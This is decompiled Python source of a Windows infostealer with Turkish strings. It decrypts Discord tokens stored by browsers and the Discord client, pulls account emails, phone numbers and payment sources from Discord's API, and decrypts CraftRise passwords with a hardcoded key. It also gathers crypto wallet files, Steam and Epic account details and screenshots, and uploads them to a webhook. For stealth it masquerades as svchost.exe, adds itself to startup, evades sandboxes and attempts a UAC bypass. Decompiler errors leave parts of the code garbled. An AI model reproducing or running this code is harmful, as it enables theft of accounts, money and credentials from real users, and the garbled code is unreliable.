if payload and 'message' in payload and ('discord.com' in url or 'discordapp.com' in url):
payload['content'] = payload.pop('message')
if payload:
response = requests.post(url, json=payload, timeout=15, verify=False)
log_message(f'send_report payload response: {response.status_code} - {response.text}')
return response.status_code in (200, 204)
if file_path and os.path.exists(file_path):
with open(file_path, 'rb') as f:
files = {'file': (os.path.basename(file_path), f)}
response = requests.post(url, files=files, timeout=60, verify=False)
log_message(f'send_report file response: {response.status_code} - {response.text}')
return response.status_code in (200, 204)
return False
except Exception as e:
log_message(f'send_report error: {e}')
return False
def upload_file(file_path, url=None):
# irreducible cflow, using cdg fallback
# ***<module>.upload_file: Failure: Compilation Error
if url is None:
url = get_send_url()
if os.path.exists(file_path):
with open(file_path, 'rb') as f:
files = {'file': (os.path.basename(file_path), f)}
requests.post(url, files=files, timeout=60, verify=False)
return True
return False
except Exception:
return False
def scan_games():
# ***<module>.scan_games: Failure detected at line number 945 and instruction offset 6: Different bytecode
games = {}
user = os.getenv('USERPROFILE', '')
if not user:
return games
else:
try:
with ThreadPoolExecutor(max_workers=8) as executor:
top_level_riot = ['C:\\Program Files\\Riot Games\\VALORANT', 'C:\\Riot Games\\VALORANT', 'D:\\Riot Games\\VALORANT', 'E:\\Riot Games\\VALORANT']
futures = {executor.submit(check_game_path, 'Valorant', top_level_riot): 'Valorant', executor.submit(check_game_path, 'Roblox', [os.path.join(user, 'AppData', 'Local', 'Roblox')]): 'Roblox', executor.submit(check_game_path, 'Albion Online', [os.path.join(user, 'AppData', 'Local', 'Gameforge4d', 'GameforgeClient.exe')]): 'Albion Online', executor.submit(check_game_path, 'Growtopia', [os.path.join(user, 'AppData', 'Local', 'Growtopia', 'Growtopia.exe')]): 'Growtopia', executor.submit(check_game_path, 'League of Legends', [os.path.join('C:', 'Riot Games', 'League of Legends'), os.path.join('D:', 'Riot Games', 'League of Legends')]): 'League of Legends', executor.submit(collect_steam_info): 'Steam', executor.submit(collect_epic_games_info): 'Epic Games'}
for future in as_completed(futures):
game_name = futures[future]
try:
result = future.result()
if isinstance(result, dict):
games.update(result)
else:
if result:
games[game_name] = result
else:
games[game_name] = False
except Exception:
games[game_name] = False
except Exception:
return {}
return games
def collect_steam_info():
# irreducible cflow, using cdg fallback
# ***<module>.collect_steam_info: Failure: Compilation Error
steam_info = {'installed': False, 'games_count': 0, 'username': '', 'level': '', 'wallet_balance': '', 'mobile_guard': ' Pasif'}
steam_paths = [os.path.join(os.getenv('ProgramFiles(x86)', ''), 'Steam'), os.path.join(os.getenv('ProgramFiles', ''), 'Steam'), os.path.join(os.getenv('USERPROFILE', ''), 'AppData', 'Roaming', 'Steam')]
steam_path = None
for path in steam_paths:
if os.path.exists(path):
steam_path = path
break
if not steam_path:
return {'Steam': False}
else:
steam_info['installed'] = True
steamapps_path = os.path.join(steam_path, 'steamapps')
if os.path.exists(steamapps_path):
acf_files = [f for f in os.listdir(steamapps_path) if f.endswith('.acf')]
steam_info['games_count'] = len(acf_files)
config_path = os.path.join(steam_path, 'config')
if os.path.exists(config_path):
loginusers_file = os.path.join(config_path, 'loginusers.vdf')
if os.path.exists(loginusers_file):
try:
with open(loginusers_file, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
username_match = re.search('\"PersonaName\"\\s+\"([^\"]+)\"', content)
if not username_match:
username_match = re.search('PersonaName[\\s\\t]+\"([^\"]+)\"', content)
if not username_match:
username_match = re.search('\"AccountName\"\\s+\"([^\"]+)\"', content)
if username_match:
steam_info['username'] = username_match.group(1).strip()
except Exception:
pass
localconfig_file = os.path.join(config_path, 'localconfig.vdf')
if os.path.exists(localconfig_file):
try:
with open(localconfig_file, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
wallet_match = re.search('\"wallet_balance\"\\s+\"([^\"]+)\"', content)
if not wallet_match:
wallet_match = re.search('wallet_balance[\\s\\t]+\"([^\"]+)\"', content)
if wallet_match:
balance_val = wallet_match.group(1).strip()
if balance_val and balance_val!= '0':
steam_info['wallet_balance'] = balance_val
level_match = re.search('\"level\"\\s+\"([^\"]+)\"', content)
if not level_match:
level_match = re.search('\"SteamLevel\"\\s+\"([^\"]+)\"', content)
if not level_match:
level_match = re.search('level[\\s\\t]+\"([^\"]+)\"', content)
if level_match:
level_val = level_match.group(1).strip()
if level_val:
steam_info['level'] = level_val
except Exception:
pass
if windows:
try:
steam_reg_path = 'SOFTWARE\\Valve\\Steam'
with winreg.OpenKey(winreg.HKEY_CURRENT_USER, steam_reg_path) as key:
try:
mobile_guard, _ = winreg.QueryValueEx(key, 'MobileAuthenticatorEnabled')
steam_info['mobile_guard'] = '
Aktif' if mobile_guard else ' Pasif'
except:
steam_info['mobile_guard'] = ' Pasif'
if not steam_info.get('username'):
try:
reg_username, _ = winreg.QueryValueEx(key, 'PersonaName')
if reg_username:
steam_info['username'] = reg_username
except:
pass
except Exception:
steam_info['mobile_guard'] = ' Kontrol Edilemedi'
if not steam_info.get('username'):
userdata_path = os.path.join(steam_path, 'userdata')
if os.path.exists(userdata_path):
for folder in os.listdir(userdata_path):
if folder.isdigit():
config_path_user = os.path.join(userdata_path, folder, 'config', 'localconfig.vdf')
if os.path.exists(config_path_user):
with open(config_path_user, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
username_match = re.search('\"PersonaName\"\\s+\"([^\"]+)\"', content)
if username_match:
steam_info['username'] = username_match.group(1).strip()
pass
pass
return {'Steam': steam_info}
except Exception:
return {'Steam': False}
def collect_epic_games_info():
# ***<module>.collect_epic_games_info: Failure detected at line number 984 and instruction offset 74: Different bytecode
epic_info = {'installed': False, 'games_count': 0, 'username': 'Bilinmiyor', 'email': 'Bilinmiyor'}
epic_paths = ['C:\\Program Files\\Epic Games', 'C:\\Program Files (x86)\\Epic Games', 'D:\\Epic Games', 'E:\\Epic Games']
epic_path = None
for path in epic_paths:
if os.path.exists(path):
epic_path = path
break
if not epic_path:
return {'Epic Games': False}
else:
epic_info['installed'] = True
try:
for root, dirs, files in os.walk(epic_path):
if '.egstore' in dirs:
epic_info['games_count'] += 1
launcher_path = os.path.join(epic_path, 'Launcher')
if os.path.exists(launcher_path):
portal_path = os.path.join(launcher_path, 'Portal')
if os.path.exists(portal_path):
for root, dirs, files in os.walk(portal_path):
for file in files:
if file.endswith('.json'):
try:
with open(os.path.join(root, file), 'r', encoding='utf-8', errors='ignore') as f:
data = json.load(f)
if 'displayName' in data:
epic_info['username'] = data['displayName']
except:
pass
config_path = os.path.join(launcher_path, 'Saved', 'Config')
if os.path.exists(config_path):
for root, dirs, files in os.walk(config_path):
for file in files:
if file.endswith('.ini'):
try:
with open(os.path.join(root, file), 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
email_match = re.search('email=([^\\n\\r]+)', content, re.IGNORECASE)
if email_match and (not epic_info.get('email') or epic_info['email'] == 'Bilinmiyor'):
epic_info['email'] = email_match.group(1).strip()
except:
pass
except Exception:
pass
return {'Epic Games': epic_info}
def check_path_exists(paths):
try:
for path in paths:
if os.path.exists(path):
return True
except Exception:
return False
return False
def check_game_path(game_name, paths):
return check_path_exists(paths)
def scan_wallets():
# ***<module>.scan_wallets: Failure: Compilation Error
wallets = {}
user = os.getenv('USERPROFILE', '')
if not user:
return wallets
else:
wallet_paths = {'Exodus': [os.path.join(user, 'AppData', 'Roaming', 'Exodus')], 'Electrum': [os.path.join(user, 'AppData', 'Roaming', 'Electrum')], 'Coinomi': [os.path.join(user, 'AppData', 'Local', 'Coinomi')], 'Guarda': [os.path.join(user, 'AppData', 'Roaming', 'Guarda')], 'MetaMask': [os.path.join(user, 'AppData', 'Roaming', 'MetaMask')], 'MyEtherWallet': [os.path.join(user, 'AppData', 'Roaming', 'MyEtherWallet')], 'Ledger Live': [os.path.join(user, 'AppData', 'Roaming', 'Ledger Live')], 'Trezor Bridge': [os.path.join(user, 'AppData', 'Roaming', 'Trezor Bridge'
try:
with ThreadPoolExecutor(max_workers=6) as executor:
futures = {}
for wallet_name, paths in wallet_paths.items():
future = executor.submit(check_wallet_path, wallet_name, paths)
futures[future] = wallet_name
for future in as_completed(futures):
wallet_name = futures[future]
try:
wallets[wallet_name] = future.result()
except Exception:
wallets[wallet_name] = False
except Exception:
return {}
return wallets
def check_wallet_path(wallet_name, paths):
return check_path_exists(paths)
def collect_wallet_data():
# ***<module>.collect_wallet_data: Failure: Compilation Error
wallet_files = []
error_log = []
user = os.getenv('USERPROFILE', '')
if not user:
error_log.append('USERPROFILE environment variable not found')
return (wallet_files, error_log)
else:
wallet_configs = {'Exodus': [os.path.join(user, 'AppData', 'Roaming', 'Exodus')], 'Electrum': ['.wallet', '.seed', '.key'], 'Coinomi': {'paths': [os.path.join(user, 'AppData', 'Roaming', 'Electrum', 'wallets')], 'extensions': ['.json', 'default_wallet']}, 'Guarda': {'paths': [os.path.join(user, 'AppData', 'Local', 'Coinomi', 'Coinomi', 'wallets')], 'extensions': ['.json']}, 'Ledger Live': {'paths': [os.path.join(user, 'AppData', 'Roaming', 'Trezor Bridge'), os.path.join(user, 'AppData', 'Local', 'Trezor Bridge')], 'extensions': ['.log']},
try:
for wallet_name, config in wallet_configs.items():
for path in config['paths']:
if os.path.exists(path):
try:
for root, dirs, files in os.walk(path):
for file in files:
if any((ext in file.lower() for ext in config['extensions'])):
full_path = os.path.join(root, file)
wallet_files.append({'path': full_path, 'wallet': wallet_name.lower().replace(' ', '_'), 'filename': file})
except Exception as e:
error_log.append(f'Error scanning {wallet_name} at {path}: {str(e)}')
except Exception as e:
error_log.append(f'General error in collect_wallet_data: {str(e)}')
return (wallet_files, error_log)
def create_error_zip(error_log, zip_name='GAMES.zip'):
# ***<module>.create_error_zip: Failure detected at line number 1035 and instruction offset 8: Different bytecode
try:
zip_path = os.path.join(tempfile.gettempdir(), zip_name)
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as error_zip:
if error_log and len(error_log) > 0:
error_log_path = os.path.join(tempfile.gettempdir(), 'wallet_errors.txt')
with open(error_log_path, 'w', encoding='utf-8') as f:
f.write('Wallet Collection Errors:\n')
f.write(f"Timestamp: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
f.write('==================================================\n')
for error in error_log:
f.write(f'- {error}\n')
error_zip.write(error_log_path, 'wallet_errors.txt')
if os.path.exists(error_log_path):
os.remove(error_log_path)
return zip_path if os.path.exists(zip_path) else None
except Exception:
return None
def silent_wallet_collection():
# ***<module>.silent_wallet_collection: Failure detected at line number 1063 and instruction offset 70: Different bytecode
wallet_files = []
error_log = []
try:
wallet_files, errors = collect_wallet_data()
error_log.extend(errors)
if not wallet_files and error_log:
error_zip_path = create_error_zip(error_log)
if error_zip_path:
try:
upload_file(error_zip_path)
if os.path.exists(error_zip_path):
os.remove(error_zip_path)
except Exception:
pass
return (wallet_files, error_log)
except Exception as e:
error_log.append(f'Critical error in silent_wallet_collection: {str(e)}')
return (wallet_files, error_log)
def take_snapshot():
# irreducible cflow, using cdg fallback
# ***<module>.take_snapshot: Failure: Compilation Error
with mss.MSS() as sct:
tmp_file = os.path.join(tempfile.gettempdir(), f'snap_{random.randint(10000, 99999)}.png')
sct.shot(output=tmp_file)
return tmp_file if os.path.exists(tmp_file) else None
except Exception:
return None
def check_minecraft_premium():
# ***<module>.check_minecraft_premium: Failure detected at line number 1074 and instruction offset 16: Different bytecode
minecraft_info = {'installed': False, 'premium_accounts': 0, 'usernames': [], 'total_accounts': 0}
user = os.getenv('USERPROFILE', '')
if not user:
return minecraft_info
else:
minecraft_path = os.path.join(user, 'AppData', 'Roaming', '.minecraft')
if not os.path.exists(minecraft_path):
return minecraft_info
else:
minecraft_info['installed'] = True
try:
profiles_file = os.path.join(minecraft_path, 'launcher_profiles.json')
if os.path.exists(profiles_file):
with open(profiles_file, 'r', encoding='utf-8') as f:
profiles_data = json.load(f)
authentication_db = profiles_data.get('authenticationDatabase', {})
premium_count = 0
usernames = []
total_accounts = 0
for account_id, account_info in authentication_db.items():
total_accounts += 1
username = account_info.get('username', 'Bilinmiyor')
if username and '@' not in username:
premium_count += 1
usernames.append(username)
else:
if username and ('@live.com' in username or '@outlook.com' in username or '@hotmail.com' in username):
premium_count += 1
usernames.append(username.split('@')[0])
minecraft_info['premium_accounts'] = premium_count
minecraft_info['usernames'] = usernames
minecraft_info['total_accounts'] = total_accounts
except Exception:
pass
return minecraft_info
def create_zip(minecraft_files, growtopia_files, sonoyuncu_files, craftrise_files, wallet_files, zip_name='Games.zip', error_log=None, roblox_data=None):
# ***<module>.create_zip: Failure detected at line number 1109 and instruction offset 8: Different bytecode
zip_path = os.path.join(tempfile.gettempdir(), zip_name)
added_files = set()
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
def add_files_to_zip(file_list, folder_name):
for f in file_list:
try:
if os.path.exists(f) and os.path.basename(f) not in added_files:
zipf.write(f, os.path.join(folder_name, os.path.basename(f)))
added_files.add(os.path.basename(f))
except Exception as e:
if error_log is not None:
error_log.append(f'Error adding {folder_name} file {f}: {str(e)}')
add_files_to_zip(minecraft_files, 'minecraft')
add_files_to_zip(growtopia_files, 'growtopia')
add_files_to_zip(sonoyuncu_files, 'sonoyuncu')
add_files_to_zip(craftrise_files, 'craftrise')
if roblox_data:
try:
zipf.writestr('roblox_cookie.txt', roblox_data)
added_files.add('roblox_cookie.txt')
except Exception as e:
if error_log is not None:
error_log.append(f'Error adding roblox_cookie.txt: {str(e)}')
for wallet_info in wallet_files:
try:
if os.path.exists(wallet_info['path']):
wallet_name = wallet_info['wallet']
filename = wallet_info['filename']
unique_name = f'{wallet_name}_{filename}'
counter = 1
original_unique_name = unique_name
while unique_name in added_files:
unique_name = f'{original_unique_name}_{counter}'
counter += 1
zipf.write(wallet_info['path'], os.path.join('wallets', wallet_name, filename))
added_files.add(unique_name)
except Exception as e:
if error_log is not None:
error_log.append(f"Error adding wallet file {wallet_info.get('path', 'UNKNOWN')}: {str(e)}")
if error_log and len(error_log) > 0:
try:
error_log_path = os.path.join(tempfile.gettempdir(), 'error_log.txt')
with open(error_log_path, 'w', encoding='utf-8') as f:
f.write('Wallet Collection Errors:\n')
f.write('\n'.join(error_log))
zipf.write(error_log_path, 'error_log.txt')
if os.path.exists(error_log_path):
os.remove(error_log_path)
except Exception:
pass
return zip_path if os.path.exists(zip_path) else None
class DataProcessor:
def __init__(self):
try:
self.user = os.path.expanduser('~')
self.accounts = []
except Exception:
self.user = ''
self.accounts = []
def read_config(self, fpath):
# irreducible cflow, using cdg fallback
# ***<module>.DataProcessor.read_config: Failure: Compilation Error
with open(fpath, 'r', encoding='utf-8') as f:
d = json.load(f)
u, e = (d.get('rememberName', ''), d.get('rememberPass', ''))
p = self.decrypt_data(e)
if u and p:
self.accounts.append({'Kullanıcı': u, 'Şifre': p})
except Exception:
return None
def decrypt_data(self, e):
# ***<module>.DataProcessor.decrypt_data: Failure detected at line number 1173 and instruction offset 6: Different bytecode
try:
key = b'2640023187059250'
cipher = AES.new(key, AES.MODE_ECB)
dec = cipher.decrypt(base64.b64decode(e))
pad = dec[(-1)]
if isinstance(pad, int):
pad = int(pad)
else:
pad = ord(pad)
txt = dec[ad].decode()
return self.process_text(txt).split('#')[0]
except Exception:
return 'Şifre çözülemedi'
def process_text(self, s):
def decode(s):
# ***<module>.DataProcessor.process_text.decode: Failure detected at line number 1187 and instruction offset 2: Different bytecode
try:
return base64.b64decode(s).decode('utf-8')
except Exception:
return s
try:
for _ in range(2):
s = decode(s)
if not s:
break
else:
s = s.replace('3ebi2mclmAM7Ao2', '').replace('KweGTngiZOOj9d6', '')
return decode(s) or s
except Exception:
return s
def collect(self):
# ***<module>.DataProcessor.collect: Failure detected at line number 1206 and instruction offset 38: Different bytecode
p = os.path.join(self.user, 'AppData', 'Roaming', '.craftrise')
if not os.path.exists(p):
return 'Craftrise hesabı bulunamadı.'
else:
try:
for root, _, files in os.walk(p):
for f in files:
if f == 'config.json':
try:
self.read_config(os.path.join(root, f))
except Exception:
pass
return self.accounts if self.accounts else 'Craftrise hesabı bulunamadı.'
except Exception:
return 'Craftrise bilgisi alınamadı.'
class TokenCollector:
def get_key(self, path):
# irreducible cflow, using cdg fallback
# ***<module>.TokenCollector.get_key: Failure: Compilation Error
local_state_path = os.path.join(path, 'Local State')
if not os.path.exists(local_state_path):
local_state_path = os.path.join(os.path.dirname(path), 'Local State')
if not os.path.exists(local_state_path):
return
with open(local_state_path, 'r', encoding='utf-8') as f:
key = base64.b64decode(json.load(f)['os_crypt']['encrypted_key'])[5:]
return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
except Exception:
return None
def decrypt_token(self, enc, key):
# ***<module>.TokenCollector.decrypt_token: Failure detected at line number 1221 and instruction offset 2: Different bytecode
try:
data = base64.b64decode(enc.split('dQw4w9WgXcQ:')[1])
iv, payload, tag = (data[3:15], data[15-16)], data[(-16):])
return AES.new(key, AES.MODE_GCM, iv).decrypt_and_verify(payload, tag).decode()
except Exception:
return None
def collect_tokens(self, path):
# ***<module>.TokenCollector.collect_tokens: Failure detected at line number 1240 and instruction offset 100: Different bytecode
leveldb_path = os.path.join(path, 'Local Storage', 'leveldb')
if not os.path.exists(leveldb_path):
leveldb_path = os.path.join(path, 'Default', 'Local Storage', 'leveldb')
if not os.path.exists(leveldb_path):
return []
else:
path = os.path.join(path, 'Default')
key = self.get_key(path)
if not key:
return []
else:
tokens = []
try:
for f in os.listdir(leveldb_path):
if f.endswith(('.log', '.ldb')):
try:
with open(os.path.join(leveldb_path, f), 'r', errors='ignore') as file:
content = file.read()
tokens += re.findall('dQw4w9WgXcQ:[^\\\"\\\\]+', content)
except Exception:
pass
except Exception:
pass
return list(set(filter(None, [self.decrypt_token(t, key) for t in tokens])))
def get_all_tokens(self):
# ***<module>.TokenCollector.get_all_tokens: Failure: Compilation Error
LOCAL = os.getenv('LOCALAPPDATA')
ROAMING = os.getenv('APPDATA')
if not LOCAL or not ROAMING:
return []
else:
PATHS = {'Discord': os.path.join(ROAMING, 'discord'), 'Discord Canary': os.path.join(ROAMING, 'discordcanary'), 'Lightcord': os.path.join(ROAMING, 'Opera Software', 'Opera Stable'), 'Opera GX': os.path.join(ROAMING, 'Opera Software', 'Opera GX Stable'), 'Amigo': os.path.join(LOCAL, 'Amigo', 'User Data'), 'Orbitum': os.path.join(LOCAL, 'Orbitum', 'User Data'), 'CentBrowser': os.path.join(LOCAL, '7Star', '7Star', 'User Data'), 'uCozMedia': os.path.join(LOCAL, 'uCozMedia', 'Uran', 'User Data'), 'Yandex': os.path.join(LOCAL, 'Yandex', 'YandexBrowser', 'User Data'), 'Brave': os.path.join(LOCAL, 'BraveSoftware', '
all_tokens = []
seen_tokens = set()
for name, path in PATHS.items():
if not os.path.exists(path):
continue
else:
tokens = self.collect_tokens(path)
for t in tokens:
if t not in seen_tokens:
all_tokens.append({'token': t, 'source': name})
seen_tokens.add(t)
return all_tokens
def get_user_info(self, token):
# irreducible cflow, using cdg fallback
# ***<module>.TokenCollector.get_user_info: Failure: Compilation Error
r = requests.get('https://discord.com/api/v9/users/@me', headers={'Authorization': token}, timeout=5, verify=False)
if r.status_code == 200:
u = r.json()
return {'id': u.get('id', ''), 'username': f"{u.get('username', '')}#{u.get('discriminator', '')}", 'email': u.get('email', 'Yok'), 'phone': u.get('phone', 'Yok'), 'public_flags': u.get('public_flags', 0), 'premium_type': u.get('premium_type', 0)}
except Exception:
return None
def decode_badges(self, flags):
try:
badges = []
mapping = {1: 'Discord Staff', 2: 'Partner', 4: 'HypeSquad Events', 8: 'Bug Hunter 1', 64: 'HypeSquad Bravery', 128: 'HypeSquad Brilliance', 256: 'HypeSquad Balance', 512: 'Early Supporter', 16384: 'Bug Hunter 2', 131072: 'Verified Bot Dev', 4194304: 'Active Developer'}
for k, v in mapping.items():
if flags & k:
badges.append(v)
return badges or ['Yok']
except Exception:
return ['Yok']
def has_nitro(self, user):
try:
return bool(user.get('premium_type', 0))
except Exception:
return False
def get_canary_badges(self, token):
# irreducible cflow, using cdg fallback
# ***<module>.TokenCollector.get_canary_badges: Failure: Compilation Error
u = self.get_user_info(token)
if u:
badges = self.decode_badges(u['public_flags'])
return badges if badges and badges!= ['Yok'] else ['Yok']
except Exception:
pass
return ['Yok']
def calc_creation_date(self, user_id):
# ***<module>.TokenCollector.calc_creation_date: Failure detected at line number 1275 and instruction offset 22: Different bytecode
try:
ts = ((int(user_id) >> 22) + 1420070400000) / 1000
return datetime.fromtimestamp(ts, tz=timezone.utc).strftime('%Y')
except Exception:
return 'Bilinmiyor'
def get_payments(self, token):
# ***<module>.TokenCollector.get_payments: Failure detected at line number 1280 and instruction offset 2: Different bytecode
try:
r = requests.get('https://discord.com/api/v9/users/@me/billing/payment-sources', headers={'Authorization': token}, timeout=5, verify=False)
if r.status_code == 200:
sources = []
for s in r.json():
if s.get('type') == 1:
sources.append(f"Kart: {s.get('brand', 'Bilinmiyor').capitalize()} •••• {s.get('last_4', '****')}")
else:
if s.get('type') == 2:
sources.append(f"PayPal: {s.get('email', 'Bilinmiyor')}")
return sources or ['Kayıtlı kart yok']
else:
return ['Kayıtlı kart yok']
except Exception:
return ['Kayıtlı kart yok']
def scan_browsers():
browsers = []
try:
paths = {'Chrome': ['%LOCALAPPDATA%\\Google\\Chrome\\User Data', '%PROGRAMFILES%\\Google\\Chrome\\User Data'], 'Edge': ['%LOCALAPPDATA%\\Microsoft\\Edge\\User Data', '%PROGRAMFILES%\\Microsoft\\Edge\\User Data'], 'Brave': ['%LOCALAPPDATA%\\BraveSoftware\\Brave-Browser\\User Data', '%PROGRAMFILES%\\BraveSoftware\\Brave-Browser\\User Data'], 'Opera': ['%APPDATA%\\Opera Software\\Opera Stable'], 'Opera GX': ['%APPDATA%\\Opera Software\\Opera GX Stable'], 'Yandex': ['%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data'], 'Firefox': ['%APPDATA%\\Mozilla\\Firefox\\Profiles']}
for b, ps in paths.items():
if any((os.path.exists(os.path.expandvars(p)) for p in ps)):
browsers.append(b)
except Exception:
pass
return browsers
def get_system_info():
# irreducible cflow, using cdg fallback
# ***<module>.get_system_info: Failure: Compilation Error
info = {'PC': 'Bilinmiyor', 'User': 'Bilinmiyor', 'OS': 'Bilinmiyor', 'Browsers': [], 'LocalIP': 'Bilinmiyor', 'PublicIP': 'Bilinmiyor', 'CPU': 'Bilinmiyor', 'GPU': 'Bilinmiyor', 'RAM': 'Bilinmiyor'}
try:
pc = socket.gethostname()
info['PC'] = pc
except Exception:
pass
try:
info['User'] = os.getlogin()
except Exception:
pass
try:
info['OS'] = platform.platform()
except Exception:
pass
try:
import psutil
ram_bytes = psutil.virtual_memory().total
info['RAM'] = f'{ram_bytes / 1073741824:.2f} GB'
except Exception:
info['RAM'] = 'Bilinmiyor'
try:
cpu_out = subprocess.check_output('wmic cpu get name', shell=True).decode('utf-8').strip().split('\n')[1].strip()
info['CPU'] = cpu_out
except Exception:
info['CPU'] = 'Bilinmiyor'
try:
gpu_out = subprocess.check_output('wmic path win32_VideoController get name', shell=True).decode('utf-8').strip().split('\n')[1].strip()
info['GPU'] = gpu_out
except Exception:
info['GPU'] = 'Bilinmiyor'
try:
info['Browsers'] = scan_browsers()
except Exception:
pass
try:
info['LocalIP'] = socket.gethostbyname(pc)
except Exception:
pass
try:
public_ip = requests.get('https://api.ipify.org', timeout=5, verify=False).text
info['PublicIP'] = public_ip
except Exception:
pass
except Exception:
pass
return info
def format_game_info(game_name, game_data):
if game_name == 'Steam' and isinstance(game_data, dict):
info = game_data
games = info.get('games_count', 0)
guard_status = info.get('mobile_guard', ' Kontrol Edilemedi')
username = info.get('username', '') or ''
level = info.get('level', '') or ''
balance = info.get('wallet_balance', '') or ''
parts = [f' {games} oyun']
if username and username.strip():
parts.append(username.strip())
if level and level.strip():
parts.append(f'Lv.{level.strip()}')
if balance and balance.strip() and (balance!= '0'):
parts.append(f'{balance.strip()}₺')
parts.append(f'Guard: {guard_status}')
return ' | '.join(parts)
else:
if game_name == 'Epic Games' and isinstance(game_data, dict) and game_data.get('installed'):
info = game_data
games = info.get('games_count', 0)
username = info.get('username', 'Bilinmiyor')
email = info.get('email', 'Bilinmiyor')
return f' {games} oyun | {username} | {email}'
else:
if game_name == 'Minecraft' and isinstance(game_data, dict) and game_data.get('installed'):
info = game_data
premium_count = info.get('premium_accounts', 0)
total_accounts = info.get('total_accounts', 0)
usernames = info.get('usernames', [])
if premium_count > 0:
username_str = ', '.join(usernames[:3])
if len(usernames) > 3:
username_str += f' ve {len(usernames) - 3} kişi daha'
return f' Yüklü ({premium_count} premium hesap, {total_accounts} toplam hesap, Kullanıcılar: {username_str})'
else:
return f' Yüklü ({total_accounts} hesap, premium hesap yok)'
else:
if game_data:
return ' Yüklü'
else:
return ' Yok'
def stealth_mode():
# irreducible cflow, using cdg fallback
# ***<module>.stealth_mode: Failure: Compilation Error
hw = ctypes.windll.kernel32.GetConsoleWindow()
if hw:
ctypes.windll.user32.ShowWindow(hw, 0)
if getattr(sys, 'frozen', False):
current_exe = os.path.abspath(sys.executable)
exe_name = os.path.basename(current_exe).lower()
target_name = 'svchost.exe'
if exe_name!= target_name:
target_dir = os.path.join(os.getenv('APPDATA'), 'Windows_Update')
os.makedirs(target_dir, exist_ok=True)
target_path = os.path.join(target_dir, target_name)
if current_exe.lower()!= target_path.lower():
import shutil
shutil.copy2(current_exe, target_path)
ctypes.windll.kernel32.SetFileAttributesW(target_path, 6)
subprocess.Popen([target_path] + sys.argv[1:], creationflags=subprocess.CREATE_NO_WINDOW | 8)
sys.exit(0)
except Exception:
return None
if __name__ == '__main__':
stealth_mode()
log_message('--- SCRIPT STARTED ---')
try:
is_elevated_flag = '--elevated' in sys.argv
if is_elevated_flag:
log_message('Running in elevated mode. Continuing with full payload generation natively.')
log_message('Attempting add_to_startup...')
add_to_startup()
checker = EnvironmentCheck()
if not checker.check_environment():
log_message('Environment check FAILED (Not a target machine?). Exiting to avoid VT/Sandbox analysis.')
sys.exit(0)
else:
log_message('Environment check PASSED.')
uac_bypass = None
if not is_admin():
log_message('Not admin, attempting UAC bypass...')
uac_bypass = UACBypass()
uac_bypass.initialize()
else:
log_message('Already admin.')
uac_bypass = UACBypass()
uac_bypass.result['status'] = 'success'
uac_bypass.result['method'] = 'Admin yetkisi mevcut (Bypass gerekmedi)'
cookie_count, password_count = (0, 0)
cookie_zip_path = None
if is_admin():
try:
log_message('Admin present, extracting cookies...')
res = run_cookie_extraction()
if len(res) == 3:
cookie_count, password_count, cookie_zip_path = res
except Exception as e:
log_message(f'Cookie extraction failed: {e}')
log_message('Scanning games, wallets, system info...')
with ThreadPoolExecutor(max_workers=4) as executor:
games_future = executor.submit(scan_games)
wallets_future = executor.submit(scan_wallets)
system_future = executor.submit(get_system_info)
snapshot_future = executor.submit(take_snapshot)
games = games_future.result()
wallets = wallets_future.result()
system = system_future.result()
snapshot = snapshot_future.result()
log_message(f'Games found: {list(games.keys())}')
url = get_send_url(games)
log_message(f'Selected URL: {url}')
roblox_data = get_roblox_data()
if roblox_data:
log_message('Roblox data found, storing to attach in zip.')
sonoyuncu_stealer = SonoyuncuStealer()
sonoyuncu_info = sonoyuncu_stealer.get_sonoyuncu_credentials()
minecraft_info = check_minecraft_premium()
all_tokens = TokenCollector().get_all_tokens()
log_message(f'Collected {len(all_tokens)} tokens.')
craftrise_data = DataProcessor().collect()
wallet_files = []
wallet_error_log = []
try:
wallet_files, wallet_errors = collect_wallet_data()
wallet_error_log.extend(wallet_errors)
except Exception as e:
wallet_error_log.append(f'Error collecting wallet data: {str(e)}')
discord_info = ''
if not all_tokens:
discord_info = ' Discord token bulunamadı.\n'
else:
for i, token_data in enumerate(all_tokens, 1):
t = token_data['token']
is_canary = token_data['source'] == 'canary'
u = TokenCollector().get_user_info(t)
if u:
badges = TokenCollector().decode_badges(u['public_flags'])
badge_str = ', '.join(badges) if badges and badges!= ['Yok'] else 'Yok'
canary_badge_str = badge_str if is_canary else 'Yok'
discord_info += f'
Token: {t}\n'
discord_info += f"
{u['username']}\n"
discord_info += f"
{u['id']}\n"
discord_info += f"
Mail: {u['email']}\n"
discord_info += f"
Telefon: {(u['phone'] if u['phone'] else 'Yok')}\n"
discord_info += f'
Rozet: {badge_str}\n'
discord_info += f' Discord Canary Rozetleri: {canary_badge_str}\n'
discord_info += f" Nitro: {(' Var' if TokenCollector().has_nitro(u) else ' Yok')}\n"
discord_info += f"
Yıl: {TokenCollector().calc_creation_date(u['id'])}\n\n"
else:
discord_info += f' Token: {t}\n Bilinmeyen kullanıcı\n\n'
craftrise_msg = ''
if isinstance(craftrise_data, list):
for acc in craftrise_data:
try:
craftrise_msg += f" Nick: {acc.get('Kullanıcı', 'Bilinmiyor')}\n Şifre: {acc.get('Şifre', 'Bilinmiyor')}\n\n"
except Exception:
pass
else:
craftrise_msg = str(craftrise_data)
user = os.getenv('USERPROFILE', '')
files = {'minecraft': [], 'growtopia': [], 'sonoyuncu': [], 'craftrise': [], 'wallets': wallet_files}
if user:
try:
for f in ['usercache.json', 'command_history.txt']:
file_path = os.path.join(user, 'AppData', 'Roaming', '.minecraft', f)
if os.path.exists(file_path):
files['minecraft'].append(file_path)
except Exception:
pass
try:
growtopia_path = os.path.join(user, 'AppData', 'Local', 'Growtopia', 'save.dat')
if os.path.exists(growtopia_path):
files['growtopia'].append(growtopia_path)
except Exception:
pass
try:
sonoyuncu_path = os.path.join(user, 'AppData', 'Roaming', '.sonoyuncu', 'config.json')
if os.path.exists(sonoyuncu_path):
files['sonoyuncu'].append(sonoyuncu_path)
except Exception:
pass
try:
craftrise_path = os.path.join(user, 'AppData', 'Roaming', '.craftrise', 'config.json')
if os.path.exists(craftrise_path):
